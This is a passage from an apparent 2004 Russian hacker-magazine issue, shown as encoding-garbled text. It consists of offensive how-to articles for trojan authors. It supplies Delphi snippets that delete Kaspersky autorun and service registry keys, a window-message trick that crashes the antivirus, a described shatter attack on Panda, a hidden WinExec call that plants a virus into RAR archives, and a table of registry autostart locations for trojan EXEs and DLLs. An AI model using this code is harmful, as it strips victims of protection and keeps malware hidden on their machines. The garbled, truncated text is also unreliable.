íàøåìó âçûñêàòåëüíîìó âçãëÿäó â
âèäå NT-ñëóæá èëè äðàéâåðîâ.

Äà, çàäóìêà õîðîøà, è ñîçäàòåëè çà-
ùèò íàäåþòñÿ íà íåïðèêîñíîâåííîñòü
ñâîèõ äåòèù. Íå áóäåì èì ìåøàòü, à
ëó÷øå ïîñìîòðèì, ÷òî òóò ìîæíî ïðè-
äóìàòü. Â èäåàëå íàäî êàêèì-òî îáðà-
çîì ïîëó÷èòü ïðàâà íà äîñòóï â ñâÿ-
òàÿ ñâÿòûõ è òîëüêî ïîòîì ðàçâîðà÷è-
âàòü ïîëíîìàñøòàáíûå äåéñòâèÿ. Íî
ïëîõ òîò þçåð, êîòîðûé íå ìå÷òàåò
ñòàòü àäìèíîì ;). Íèêòî (ëàäíî, åñòü
èñêëþ÷åíèÿ :)) íå ñèäèò ïîä ãîñòåì ó
ñåáÿ äîìà, äà è íà ðàáîòå òîæå ìàëî
êòî èçâðàùàåòñÿ ïîäîáíûì îáðàçîì.
Òàê ÷òî ñ÷èòàé äîñòóï ê ñëóæáàì è

äðîâàì ó øïèîíà óæå åñòü, à åñëè íåò
� äàóíëîàä è ïðèìåíåíèå ýêñïëîèòà ðå-
øàò ýòó ìàëåíüêóþ íåïðèÿòíîñòü. Ïî-
ëó÷èòü ñïèñîê ñëóæá è äðàéâåðîâ ìîæ-
íî ÷åðåç ôóíêöèþ EnumServicesStatus.
Âîçâðàùàåìûé ðåçóëüòàò çàâèñèò îò
èñïîëüçîâàííîãî ôëàãà, îòâå÷àþùå-
ãî çà òèï ñëóæáû. ×òîáû ïîëó÷èòü èí-
ôîðìàöèþ î ñåðâèñàõ, íàäî èñïîëü-
çîâàòü ôëàã SERVICE_WIN32. Â áóôåð
áóäåò ïîìåùåíà èíôîðìàöèÿ î ñåð-
âèñàõ, êàê ðàáîòàþùèõ â ñâîåì ïðî-
öåññå, òàê è äåëÿùèõ ñâîå àäðåñíîå
ïðîñòðàíñòâî ñ äðóãèìè ñëóæáàìè
(äåëî â òîì, ÷òî îäèí èñïîëíÿåìûé
ôàéë ìîæåò ñîäåðæàòü íåñêîëüêî ïà-
ðàëëåëüíî ðàáîòàþùèõ ñëóæá). Òàê-
æå èíòåðåñíî ïîñìîòðåòü è íà çàãðó-
æåííûå äðàéâåðà - SERVICE_DRIVER,
ìíîãèå ôàåðâîëû ðåàëèçóþòñÿ â âè-
äå äðàéâåðîâ-ôèëüòðîâ TCP/IP. Ïîìè-
ìî ôëàãîâ EnumServicesStatus ïðè-
íèìàåò â êà÷åñòâå ïàðàìåòðîâ îïèñà-
òåëü íà óïðàâëåíèå ñëóæáàìè (åãî
âîçâðàùàåò OpenSCManager) è óêà-
çàòåëü íà áóôåð. Ïîëó÷èâ èíôîðìà-
öèþ î ñëóæáå è åå handle, âðåäîíîñ-
íîå òâîðåíèå ìîæåò äåëàòü ñ àíòèâè-
ðóñîì èëè ôàåðâîëîì ÷òî óãîäíî
(ïðîñòîé ïðèìåð ðàáîòû ñî ñëóæáàìè
íà Delphi ñìîòðè íà CD ê ýòîìó íîìå-
ðó). Ïðîáëåìà SetServiceStatus ðåøå-
íà! Ìîæíî îñòàíîâèòü èëè ïðèîñòàíî-

âèòü îõðàííóþ äåÿòåëüíîñòü è çà-
íÿòüñÿ óæå �ïîëåçíîé� ðàáîòîé. Åñëè
æå ñëóæáà âîîáùå íåíàâèñòíà, òî
DeleteService ðåøèò ýòó ïðîáëåìó.
Âñå! Áîëüøå ïðåãðàä íåò, à ïîëüçîâà-
òåëü, ñêîðåå âñåãî, äàæå è íå çàìå-
òèò, ÷òî îí îñòàëñÿ îäèí íà îäèí ñ íå-
èçâåäàííûì âðàãîì. Îñîáî ïðîäâèíó-
òûå âðåäîíîñíûå òâîðåíèÿ ìîãóò ïî-
ìåñòèòü ñâîþ èêîíêó â òðåå, èìèòè-
ðóÿ óáèòóþ ïðîãðàììó, è ñîçäàòü ïðî-
öåññ ñ èìåíåì æåðòâû. 

ÏÎÄËÎÑÒÈ
Ê ñ÷àñòüþ, íå âñåãäà òðîÿíàì ïðè-

õîäèòñÿ áîðîòüñÿ çà âûæèâàíèå íà
÷óæîé òåððèòîðèè. Áûâàþò ñëó÷àè,
êîãäà çëîóìûøëåííèêó ëó÷øå è íà-
äåæíåé îòêðûòü äîñòóï ê êîìïüþòåðó
ñ ïîìîùüþ êàêîé-íèáóäü ìàëåíüêîé,
ñîáñòâåííîðó÷íî ñäåëàííîé òðîÿíñ-
êîé áîìáû. Âñÿ èäåÿ ýòîé ïðîãðàììêè
ñâîäèòñÿ ê âðåìåííîé íåéòðàëèçàöèè
ñèñòåì çàùèòû äëÿ ïîëó÷åíèÿ áîëåå
áåçîïàñíîãî êàíàëà ñâÿçè ñ èññëåäóå-
ìîé ñèñòåìîé. Ïîñêîëüêó çâåðåê íå
âíåñåí â àíòèâèðóñíûå áàçû, ðåçêèõ
äåéñòâèé (âðîäå ìîìåíòàëüíîãî îòê-
ëþ÷åíèÿ àíòèâèðóñà/ôàåðâîëà)
ïðåäïðèíèìàòü íå ñòîèò. Äîñòàòî÷íî
ïðèöåïèòüñÿ ê êàêîìó-íèáóäü ïðîöåñ-
ñó è ñäåëàòü ïàðó-òðîéêó îáåçîðóæè-
âàþùèõ äåéñòâèé. Ìîæíî îãðàíè÷èòü-
ñÿ ïðàâêîé ðååñòðà. Ïðè æåëàíèè
ìîæíî ñîçäàòü íåáîëüøîé ñïèñîê
êëþ÷åé èçâåñòíûõ ñðåäñòâ çàùèòû.
Ïîñìîòðèì âíèìàòåëüíî íà âåòêè
HKCU\Software\Microsoft\Windows\Cu
rrentVersion\Run è
HKLM\Software\Microsoft\Windows\Cu
rrentVersion\Run. Òóò íàõîäÿòñÿ âñå
àâòîðàíû äëÿ ñîâðåìåííûõ àíòèâèðó-
ñîâ è ôàåðâîëîâ. Äëÿ ïðèìåðà ìî-
æåì ïîïðîáîâàòü îòêëþ÷èòü îäíó èç
âåðñèé KAV:

var hTemp:HKEY;
begin
if RegOpenKeyEx(HKEY_LOCAL_MACHINE,

'Software\Microsoft\Windows\CurrentVersio
n\Run', 0, KEY_WRITE, hTemp) = ERROR_SUC-
CESS then

begin
RegDeleteValue(hTemp,'KAVPersonal50');
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RegCloseKey(hTemp);
end;

Äëÿ íàñòîÿùåãî áîðöà çà ÷èñòîòó
îïåðàòèâíîé ïàìÿòè îò ëèøíèõ àíòè-
âèðóñîâ íå ñîñòàâèò òðóäà ïðîèíñòàë-
ëèðîâàòü ñåáå ìîðå ëå÷åáíî-îõðàíè-
òåëüíîãî ñîôòà è íà÷àòü îõîòó çà
êëþ÷èêàìè ;). Êñòàòè, â ðååñòðå åñòü
åùå îäíî èíòåðåñíîå ìåñòî:
HKLM\SYSTEM\CurrentControlSet\Ser
vices � òàì õðàíèòñÿ èíôîðìàöèÿ î
ñåðâèñàõ. Ìîæíî íåìíîãî ïîïðàâèòü
ðååñòð è æäàòü ïåðåçàãðóçêè. Çà èí-
ôîðìàöèþ î ñåðâèñå KAV îòâå÷àåò
HKLM\SYSTEM\CurrentControlSet\kavs
vc. Ñîòðåì âåòêó ðååñòðà íà API:

// Ýòó ôóíêöèþ íàäî îáúÿâèòü ñàìèì
function SHDeleteKeyA(hKey: HKEY;

lpSubKey: PAnsiChar): Longint; stdcall;exter-
nal 'shlwapi.dll';

�
begin
SHDeleteKeyA(HKEY_LOCAL_MACHINE,

'SYSTEM\CurrentControlSet\Services\kavsvc
');

end;
�

Áûâàþò, ðàçóìååòñÿ, ñëó÷àè, êîãäà
æäàòü íåëüçÿ èëè íå õî÷åòñÿ, äà åùå
è àâåðû ñåáÿ çàùèùàþò � íå äàþò
ïðîöåññ óáèòü. Â ýòîì ñëó÷àå íàì ïî-
ìîæåò ñòàðàÿ, êàê Âèíäà, �óÿçâè-
ìîñòü�. ß ãîâîðþ îá óïðàâëåíèè ïðîã-
ðàììàìè ÷åðåç ìåññàãè. Íå áóäåì ðàñ-
ñìàòðèâàòü ñåðèè ñîîáùåíèé è �äîë-
ãîå� óïðàâëåíèå ïðîãðàììàìè. Íà

íàø âçãëÿä, ýòî ñëèøêîì íåñòàáèëüíî
è ìîæåò áûòü çàìåòíî äëÿ ïîëüçîâà-
òåëÿ. Çàòî ïîñûëêà îäíîãî íóæíîãî
ñîîáùåíèÿ ìîæåò ïðèíåñòè î÷åíü õî-
ðîøèé ýôôåêò.

Êàê-òî ðàç, ðàññìàòðèâàÿ ïîëó÷åí-
íîå ïî ïî÷òå �ïîñëàíèå�, ÿ çàìåòèë,
÷òî ãîñòü ïèòàåò îñîáûå ÷óâñòâà ê
Panda. Ïðèøëîñü ïîñòàâèòü ýòîò àíòè-
âèðóñ è ïîñìîòðåòü, ÷òî æå áóäåò
äàëüøå. Çâåðåê ñäåëàë î÷åíü âåñå-
ëóþ ãàäîñòü � ïðîâåë ÷òî-òî âðîäå
Shatter-àòàêè :)! Îí ïðîèçâåë çàìåíó
çàãîëîâêà íà shell-êîä âèäà:

nop
nop
nop
�
stupidfun:
nop
jmp stupidfun

è ïîñëàë ñîîáùåíèå WM_Timer ñ óêà-
çàòåëåì íà íà÷àëî êîäà. Panda âïàäà-
åò â ñòóïîð è áîëüøå íå îòâå÷àåò íè
íà ÷òî. Ïðè áîëåå âíèìàòåëüíîì ðàñ-
ñìîòðåíèè ãîñòÿ, ÿ íàøåë îïðåäåëè-
òåëü âåðñèè ïóøèñòîãî ìåäâåäÿ è ñî-
îòâåòñòâóþùèé ñïèñîê àäðåñîâ äëÿ
àòàêè.

Ñõîæóþ ïàêîñòü ìîæíî ïðîäåëàòü è
ñ ðóññêèì íàðîäíûì àíòèâèðóñîì.
Ïðîäóêò ëàáîðàòîðèè Êàñïåðñêîãî ïà-
äàåò èëè îòêëþ÷àåòñÿ:

var h:integer;
begin

H:=FindWindow(nil, 'Àíòèâèðóñ Êàñïåðñêî-
ãî Personal');

postmessage(h, WM_NCDestroy, 0, 0);
end;

Ïðè÷åì ïðåäóãàäàòü ïîñëåäñòâèÿ îò
WM_NCDESTROY ìíå òàê è íå óäà-
ëîñü. Çàâèñàíèå/îòêëþ÷åíèå àâåðà �
10/90. Äîâîëüíî çàáàâíî ñìîòðåòü íà
ýòîò íåäî÷åò. KAV ïðåäîòâðàùàåò
âìåøàòåëüñòâî â ñâîé ïðîöåññ
(OpenProcess íå ñðàáàòûâàåò äàæå ñ
SeDebugPrivilege ïðèâèëåãèåé), è
ñëóæáó íåëüçÿ îñòàíîâèòü èëè ïðèîñ-
òàíîâèòü, íî îäíî ñîîáùåíèå ìîæåò
âûêëþ÷èòü àíòèâèðóñ è îñòàâèòü
êîìïüþòåð áåç çàùèòû. Åäèíñòâåí-
íûé ìèíóñ ýòîé �àòàêè� � èñ÷åçíîâå-
íèå çíà÷êà â òðåå.

OUTRO
Íàïîñëåäîê õî÷ó îòêðûòü ñòðàø-

íóþ òàéíó:  çàùèòà îò âèðóñîâ è ÷åð-
âåé â 90% ñëó÷àåâ ëåæèò â ïåðâóþ
î÷åðåäü íà ïëå÷àõ ñîçäàòåëÿ RAT.
Òîëüêî îí ìîæåò ïðåäñòàâèòü è îöå-
íèòü ïîñëåäñòâèÿ îò çàïóñêà íåèçâå-
ñòíîé ïðîãðàììû èëè àòòà÷à. Íè îäèí
ñîâðåìåííûé àíòèâèðóñ íå âûëîâèò
íåèçâåñòíûé åìó âèðóñ (ñóùåñòâóþ-
ùèå ýâðèñòè÷åñêèå àíàëèçû è ýìóëÿ-
òîðû êîäà îñòàþòñÿ â çà÷àòî÷íîì ñîñ-
òîÿíèè óæå ìíîãèå ãîäû), õîòÿ è íå
âñå èçâåñòíûå ëîâÿòñÿ è ëå÷àòñÿ. Äà
÷åãî ãîâîðèòü î íåèçâåñòíûõ? Ñóùå-
ñòâóþò àâåðû, êîòîðûå äî ñèõ ïîð íå
ñêàíèðóþò ôàéëîâûå ïîòîêè NTFS�a!
Âîò, íàïðèìåð, ýòà ñàìàÿ ôóíêöèÿ
ïðîñìîòðà ôàéëîâûõ ïîòîêîâ:

function BackupSeekA(hFile: THandle;
dwLowBytesToSeek, dwHighBytesToSeek:
DWORD; lpdwLowByteSeeked,
lpdwHighByteSeeked: PDWORD;var
lpContext: Pointer): BOOL; stdcall; external
kernel32 name 'BackupSeek';

Òàê ÷òî åñòü ó ðóññêèõ òàéíûå ïîãðå-
áà, êàê ãîâîðèë Ìàëü÷èø-Êèáàëü÷èø,
è âàì èõ íå çàñûïàòü :). Êñòàòè, íå ñòî-
èò çàáûâàòü è î âîçìîæíîñòè ïîð÷è
âèðóñàìè ñèãíàòóð áàçàõ èçâåñòíûõ
àíòèâèðóñîâ. Â èíòåðíåòå áåç ïðîá-
ëåì ìîæíî íàéòè îïèñàíèå ôîðìàòîâ
ïðàêòè÷åñêè âñåõ ïîïóëÿðíûõ áàç è
ðàáî÷èå ïðèìåðû èçâëå÷åíèÿ è èçìå-
íåíèÿ â íèõ èíôû. Ñîâåòóþ òàêæå îá-
ðàòèòü âíèìàíèå íà ñâîè àðõèâû. Ñó-
ùåñòâóþò ïàðàçèòû, ïðÿ÷óùèå ñåáÿ â
íèõ, èíîãäà çàìåùàÿ ñîáîé èñïîëíÿå-
ìûå ôàéëû. Íàéòè èçâåñòíûé àðõèâà-
òîð íà êîìïüþòåðå ïîëüçîâàòåëÿ è
äîáàâèòü ñåáÿ â àðõèâ äîâîëüíî ëåã-
êî. Íàïðèìåð, äëÿ ôîðìèðîâàíèÿ ïà-
ðàìåòðîâ ê RAR�ó îáðàòè âíèìàíèå íà
�o+� � ïåðåçàïèñü ñóùåñòâóþùèõ
ôàéëîâ. Âîò îäíà èç âàðèàöèé êëþ-
÷åé:

WinExec(PathToRarExe+ � a -o+
�+ArchName+� �+VirusCopyPath,SW_HIDE);

Çàñèì ïîçâîëü îòêëàíÿòüñÿ. E
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Ïðè ïðîã-
ðàììèðîâà-
íèè íà
Delphi î÷åíü
÷àñòî ïðè-
õîäèòñÿ
èìåòü äåëî
íå òîëüêî
ñî ñâîèìè è
MS-áàãàìè,
íî è ñ
îøèáêàìè
äÿäè Áîðìà-
íà.
EnumServic
esStatus
ïåðåâåäåíà
ñ C++ íåï-
ðàâèëüíî.

Ñòèðàíèå
áàç ñóùåñò-
âóþùèõ àí-
òèâèðóñîâ �
ýòî íàø âû-
áîð. Òåì áî-
ëåå ÷òî íà
ñòèðàíèå
áàç àâåð
ñâîå âíèìà-
íèå íå îá-
ðàòèò, ïðîñ-
òî ïîòðåáó-
åò îáíîâëå-
íèÿ :).

Î ðàáîòå ñ
ôàéëîâûìè
ïîòîêàìè
ìû ïèñàëè â
Ñïåöå «the
ÕÐ Files»
#03.2004
(40), à ðóá-
ðèêà «Êî-
äèíã» Õàêå-
ðà îñâåùà-
ëà ýòó òåìó
â ñòàòüå
«Êóäà óõî-
äÿò ôàé-
ëû». Åñëè
òû íå êóïèë
ýòîò æóð-
íàë, òî âîñ-
ïîëüçóéñÿ
ññûëêîé
www.xakep.r
u/maga-
zine/xa/065
/114/5.asp.W W W

vx.org.ua � àðõèâ, áîëüøîé-ïðå-
áîëüøîé :). Òóò ìîæíî îçíàêîìèòü-
ñÿ êàê ñ òåîðèåé (ñîáðàíî îãðîì-
íîå êîëè÷åñòâî æóðíàëîâ), òàê è
ïîëó÷èòü ñîðñû èçâåñòíûõ (è íå
î÷åíü) âèðóñîâ. Íåäàðîì îíè çîâóò
ñåáÿ VX Heavens.

z0mbie.host.sk - z0mbie íàïèñàë
î÷åíü ìíîãî òåîðåòè÷åñêèõ è ïðàê-
òè÷åñêèõ ñòàòåé íà òåìó âèðìýéêåð-
ñòâà. Òàêæå ó íåãî ìîæíî íàéòè
ïîòðîøèòåëü áàç KAV ;).

29a.host.sk - î÷åíü õîðîøèé e-zine. Â êàæäîì íîâîì íîìåðå
âñåãäà åñòü ÷òî ïî÷èòàòü è ÷åìó íàó÷èòüñÿ.

www.wasm.ru - çäåñü òû íàéäåøü èíòåðåñíûå ñòàòè ïî ñîêðûòèþ
äåÿòåëüíîñòè ïðîãðàìì è ìíîãî äðóãîé ïîëåçíîé èíôîðìàöèè. 



Äìèòðèé Êîâàëåíêî aka Ingrem (ingrem@list.ru)

Ï îä "ïðÿòêàìè" ïîíèìàåòñÿ íåçàìåòíàÿ çàãðóçêà è íåçàìåòíàÿ ðàáîòà ïðîãðàìì
(â òîì ÷èñëå òðîÿíîâ) â Windows. Î òîì, êàê òðîÿíû ïðè÷óòñÿ â ñèñòåìå, ÷èòàé â ýòîé ñòàòüå.

ÈÃÐÀ Â ÏÐßÒÊÈ
ÊÀÊ ÑÊÐÛÒÜ ÒÐÎßÍ ÎÒ ÓÌÍÛÕ ÞÇÅÐÎÂ

åõíèêè àâòîçàãðóçêè
ìû óñëîâíî ðàçäåëèì
íà àêòèâíûå è ïàññèâ-
íûå. Òðîÿíû, èñïîëüçó-
þùèå àêòèâíûå òåõíè-

êè, ñòàðòóþò âìåñòå ñ ñèñòåìîé. ×òîáû
òðîÿí çàãðóçèëñÿ, îò ïîëüçîâàòåëÿ íå
òðåáóåòñÿ íèêàêèõ ñïåöèàëüíûõ
äåéñòâèé - äîñòàòî÷íî ïðîñòî âêëþ-
÷èòü ìàøèíó. Òðîÿíû, èñïîëüçóþùèå
ïàññèâíûå òåõíèêè, çàïóñêàþòñÿ ïðè
âûïîëíåíèè ïîëüçîâàòåëåì êàêèõ-ëè-
áî äåéñòâèé - îáû÷íî íóæíî ÷òî-òî
îòêðûòü, íàæàòü è ò.ï.

ÀÊÒÈÂÍÎ
Òðàäèöèîííî îñíîâíîå âíèìàíèå

óäåëÿåòñÿ ìîäèôèêàöèè ðååñòðà. Â
ðååñòðå Windows ñóùåñòâóåò ìíîæå-
ñòâî êëþ÷åé, êîòîðûå òðîÿí ìîæåò èñ-

ïîëüçîâàòü äëÿ àâòîçàãðóçêè. Ýòè
êëþ÷è ÷àñòî óïîìèíàþòñÿ â ðàçëè÷-
íûõ ðóêîâîäñòâàõ ïî áåçîïàñíîñòè,
ïðè÷åì ñìûñë óïîìèíàíèé âñåãäà
îäèí è òîò æå: åñëè ïðîïèñàòü òàì EXE
(â íåêîòîðûõ ñëó÷àÿõ DLL), òî îí çàã-
ðóçèòñÿ ïðè ñòàðòå ñèñòåìû (DLL, åñ-
òåñòâåííî, áóäåò ïîäãðóæàòüñÿ â ïðî-
öåññû ïðè èõ ñòàðòå). 

Îñîáî òóò íå ðàçãîíèøüñÿ, òàê êàê
ìîäèôèêàöèÿ âåòîê ðååñòðà â
HKEY_LOCAL_MACHINE (÷òîáû ðàáî-
òàëî äëÿ âñåõ ïîëüçîâàòåëåé) òðåáóåò
ïðàâ àäìèíèñòðàòîðà. À íà íîðìàëüíî
íàñòðîåííîé ñèñòåìå òðîÿíó ýòèõ
ïðàâ íèêòî íå äàñò :) (äàåøü ïðàâà
Local System! - ïðèì. AvaLANche'à). È
ïðîñòàÿ çàïèñü â ðååñòð � ãëóïûé øàã.
Òàêîãî òðîÿíà ñ ïîìîùüþ regedit ïîé-
ìàåò ëþáîé. Ïîýòîìó â äåéñòâèòåëüíî

õîðîøèõ, ïðîôåññèîíàëüíî íàïèñàí-
íûõ òðîÿíàõ èñïîëüçóþòñÿ áîëåå
ñëîæíûå òåõíèêè àâòîçàãðóçêè è
ñòåëñà. Îáû÷íûì ïðîñìîòðîì êëþ÷åé
àâòîçàãðóçêè îáíàðóæèòü òàêèå òðîÿ-
íû, êàê ïðàâèëî, íå óäàåòñÿ.

Îäíîé èç ïðîôåññèîíàëüíûõ òåõíèê
ñ÷èòàåòñÿ ñîçäàíèå íåäîñòóïíîãî
êëþ÷à â ðååñòðå. Ýòà ôèøêà îïèñàíà
ó Ìàðêà Ðóññèíîâè÷à íà www.sysinter-
nals.com, òàì æå åñòü èñõîäíèêè íà MS
Visual C++
(www.sysinternals.com/files/reghide.zip). Ïåðå-
äèðàòü èñõîäíèêè îäèí â îäèí - ïîñ-
ëåäíåå äåëî, à âîò ïîíÿòü ñàì ïðèí-
öèï âàæíî. 

Ïðèíöèï äîñòàòî÷íî ïðîñòîé. Áîëü-
øèíñòâî ðåäàêòîðîâ ðååñòðà äëÿ ðà-
áîòû ñ ðååñòðîì èñïîëüçóþò îáû÷íûå
Win32 API, â êîòîðûõ ñòðîêè ðàññìàò-

Ò

À
Ò

À
Ê

À
 
Í

À
 
W

I
N

D
O

W
S

ÕÀÊÅÐÑÏÅÖ    11(48) 2004

Êëþ÷è àâòîçàãðóçêè

ÈÃÐÀ Â ÏÐßÒÊÈ46 RAT

Îòêóäà ìîæåò ãðóçèòüñÿ trojan.exe

ÂÂååòòêêàà//êêëëþþ÷÷
((ââììååññòòîî aannyy__nnaammee ììîîææííîî ââïïèèññààòòüü ëëþþááîîåå èèììÿÿ))

ÍÍóóææííûû ïïððààââàà
ààääììèèííàà??

ÐÐààááîîòòààååòò ääëëÿÿ
ïïîîëëüüççîîââààòòååëëååéé ÊÊîîììììååííòòààððèèèè

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
any_name="trojan.exe" íåò òåêóùåãî Íåò.

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
any_name="trojan.exe" äà âñåõ Íåò.

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\
any_name="trojan.exe"
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\
any_name="trojan.exe"

äà âñåõ
Â îáîèõ âåòêàõ êëþ÷è "îäíîðàçîâûå": trojan.exe
ñòàðòóåò ïðè çàãðóçêå Windows, ñðàçó ïîñëå
ýòîãî ñèñòåìà ñòèðàåò çàïèñü èç ðååñòðà.

HKLM\SYSTEM\CurrentControlSet\Control\Session
Manager\BootExecute="trojan.exe" äà âñåõ

trojan.exe ñòàðòóåò åùå äî îêîí÷àòåëüíîé çàãðóç-
êè ãðàôè÷åñêîé îáîëî÷êè Windows (÷òî ñèëüíî
îãðàíè÷èâàåò åãî âîçìîæíîñòè), ïîýòîìó çäåñü
îáû÷íî ïðîïèñûâàåòñÿ òîëüêî çàãðóç÷èê òðîÿíà.

HKLM \SOFTWARE\Microsoft\Windows NT\ CurrentVersion \
Winlogon \shell="explorer.exe trojan.exe" äà âñåõ Íåò.

HKCU \Software\Microsoft\Windows\CurrentVersion\Explorer\User
Shell Folders\ startup="c:\trojan_folder" íåò òåêóùåãî

Ðîëü ïàïêè "Àâòîçàãðóçêà" òåïåðü âûïîëíÿåò
c:\trojan_folder. Ïðè ñòàðòå èç íåå çàãðóçÿòñÿ âñå
EXE-ôàéëû.

HKCU \Control Panel\Desktop\ScreenSaveActive="1"  êðîìå òîãî
äîëæíî áûòü
HKCU \Control
Panel\Desktop\ScreenSaveActive\SCRNSAVE.EXE="trojan.exe"
è åùå HKCU \Control
Panel\Desktop\ScreenSaveActive\ScreenSaveTimeOut="60"

íåò òåêóùåãî

Ñêðèíñåéâåð âêëþ÷åí, èñïîëíÿåìûé ìîäóëü
ñêðèíñâåéâåðà - trojan.exe (ìîæíî
ïåðåèìåíîâàòü â trojan.scr, íî íå îáÿçàòåëüíî),
âðåìÿ àêòèâàöèè - 60 ñåê.

Îòêóäà ìîæåò ãðóçèòüñÿ trojan.dll

ÂÂååòòêêàà//êêëëþþ÷÷
((ââììååññòòîî aannyy__nnaammee ììîîææííîî ââïïèèññààòòüü ëëþþááîîåå èèììÿÿ))

ÍÍóóææííûû ïïððààââàà
ààääììèèííàà??

ÐÐààááîîòòààååòò ääëëÿÿ
ïïîîëëüüççîîââààòòååëëååéé ÊÊîîììììååííòòààððèèèè

HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Windows\
AppInit_DLLs="<path>\trojan.dll" äà âñåõ Âìåñòî <path> íàäî ïðîïèñàòü ïîëíûé ïóòü ê

DLL. Èñïîëüçîâàòü ýòè êëþ÷è î÷åíü îïàñíî,
ïîñêîëüêó îíè êðèòè÷íû äëÿ Windows è â ñëó÷àå
ìàëåéøåé îøèáêè â çàãðóæàåìîì ìîäóëå ìû
áóäåì èìåòü âå÷íîå çàâèñàíèå ïðè çàãðóçêå.
Èíîãäà èçìåíåíèå ýòèõ êëþ÷åé ïðèâîäèò ê êðàõó
ñèñòåìû äàæå åñëè â ìîäóëå âñå â ïîðÿäêå.
Êîðî÷å, ãàðàíòèé íèêàêèõ :-(

HKLM \SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Notify\any_name\ â ýòîé âåòêå
îáÿçàòåëüíî äîëæåí áûòü êëþ÷:
DllName="<path>\trojan.dll" 
è åù¸ ñòîèò äîáàâèòü
Asynchronous="0"
Impersonate="0"

äà âñåõ



ðèâàþòñÿ êàê ïîñëåäîâàòåëüíîñòü
áàéòîâ ñ çàâåðøàþùèì íóëåì. Native
API èñïîëüçóþò ñòðîêè â ôîðìàòå
Unicode, ïîýòîìó ñ ïîìîùüþ íèõ ìîæ-
íî ñîçäàâàòü âåòêè è êëþ÷è â ðååñò-
ðå, êîòîðûå áóäóò íåäîñòóïíû â îáû÷-
íûõ ðåäàêòîðàõ ðååñòðà. Íåäîñòóïíû
îçíà÷àåò, ÷òî îíè ëèáî íåâèäèìû, ëè-
áî èõ âèäíî, íî îòêðûòü íåëüçÿ.

Õîòÿ ìîäèôèêàöèþ ðååñòðà èñïîëü-
çóþò ÷àùå âñåãî, äëÿ òðîÿíà ýòî íå
åäèíñòâåííàÿ âîçìîæíîñòü çàãðó-
çèòüñÿ. Ñóùåñòâóþò è äðóãèå àêòèâ-
íûå òåõíèêè, íàïðèìåð, ñîçäàíèå â
ïàïêå àâòîçàãðóçêè EXE-ôàéëà ñ àò-
ðèáóòîì "hidden". Â ìåíþ "Ïóñê\Ïðîã-
ðàììû\Àâòîçàãðóçêà" åãî íå âèäíî
(ïîêà ïîëüçîâàòåëü íå âêëþ÷èò îòîá-
ðàæåíèå ñêðûòûõ ôàéëîâ â ñâîéñòâàõ
Windows Explorer'à - ïðèì. ðåä.), íî îí
âñå ðàâíî çàãðóæàåòñÿ. Èëè ìîäèôè-
êàöèÿ ñóùåñòâóþùèõ ÿðëûêîâ â òîé
æå "Àâòîçàãðçêå" ñ ïðîïèñûâàíèåì â
íèõ ïóòè ê òðîÿíó. Íî âñå òåõíèêè òà-
êîãî ïëàíà äîâîëüíî ñëàáûå è ñåðü-
åçíóþ óãðîçó ïðåäñòàâëÿþò òîëüêî â
ñâÿçêå ñ òåì æå ïåðåõâàòîì API.

ÏÀÑÑÈÂÍÎ
Ïàññèâíûå òåõíèêè òàêæå ÷àñòî

èñïîëüçóþòñÿ â òðîÿíàõ, õîòÿ îíè ïî-
÷åìó-òî ìåíåå ïîïóëÿðíû. Ïàññèâíûõ
òåõíèê î÷åíü ìíîãî, íî ìû ðàññìîò-
ðèì òîëüêî íåêîòîðûå èç íèõ.

Àññîöèàöèÿ ñ EXE
Â ñâîåì ðîäå êëàññèêà. Â Windows

ðàñøèðåíèþ ìîæíî ïîñòàâèòü â ñîîò-
âåòñòâèå ïðîãðàììó-îáðàáîò÷èê. Íàï-

ðèìåð, "Áëîêíîò" ÷àùå âñåãî ÿâëÿåò-
ñÿ îáðàáîò÷èêîì äëÿ .txt-ôàéëîâ è
àâòîìàòè÷åñêè çàïóñêàåòñÿ ïðè ïî-
ïûòêå îòêðûòü òåêñòîâûé äîêóìåíò.
Òðîÿí ìîæåò ïðîïèñàòüñÿ êàê îáðà-
áîò÷èê EXE-ôàéëîâ è ñòàðòîâàòü ïðè
çàïóñêå ïðèëîæåíèé.

Ìîäèôèêàöèÿ êëàññà ïàïêè
Îòíîñèòåëüíî íîâàÿ òåõíèêà. Èñ-

ïîëüçóåò òî, ÷òî íåêîòîðûì ñïåöèàëü-
íûì ïàïêàì ("Êîðçèíà", "Ìîè äîêó-
ìåíòû" è ò.ï.) ïîñòàâëåíû â ñîîòâåò-
ñòâèå êëàññû â ðååñòðå. Îòêðîé, ê ïðè-
ìåðó, "Ìîè äîêóìåíòû". Òàì ëåæèò
ñêðûòûé ôàéë desktop.ini. À â íåì ñëå-
äóþùåå:

[.ShellClassInfo]
CLSID2={450d8fba-ad25-11d0-98a8-

0800361b1103}

Òåïåðü îòêðîé ðåäàêòîð ðååñòðà è
÷åðåç ïîèñê íàéäè âåòêó "450d8fba-
ad25-11d0-98a8-0800361b1103" (ýòà áå-
ëèáåðäà ãåíåðèðóåòñÿ ñèñòåìîé ñëó-
÷àéíî, òàê ÷òî íà ðàçíûõ ìàøèíàõ îíà
ðàçíàÿ). Â íåé óâèäèøü íåñêîëüêî
ïîäâåòîê, îäíà èç êîòîðûõ íàçûâàåò-

ñÿ InProcServer32. Ïîñìîòðè íà äå-
ôîëòîâûé êëþ÷èê â ýòîé âåòêå. Â íåì,
åñëè íå âëåçàòü âî âñå ýòè "êîìû" è
"î-öå-èêñû", ïðîïèñàí ìîäóëü, ðàáîòà-
þùèé ñ ïàïêîé "Ìîè äîêóìåíòû": Ïî
óìîë÷àíèþ "=mydocs.dll". ×òî ìåøàåò
òðîÿíó ïîðàáîòàòü ñ mydocs.dll :)?

Òàêæå òðîÿíó ñòîèò îáðàòèòü âíèìà-
íèå íà ôàéëèêè ñ ðàñøèðåíèåì .htt.
Îíè íàçûâàþòñÿ øàáëîíàìè ïàïêè è
ñîäåðæàò ñêðèïòû, âûïîëíÿåìûå ïðè
åå îòêðûòèè. Åñòåñòâåííî, ñêðèïòû ýòè
ìîæíî äîïîëíèòü/ïîäïðàâèòü ;).

ÀÊÒÈÂÍÎ ÈËÈ ÏÀÑÑÈÂÍÎ?
Äëÿ òîãî ÷òîáû â ïîëíóþ ñèëó èñ-

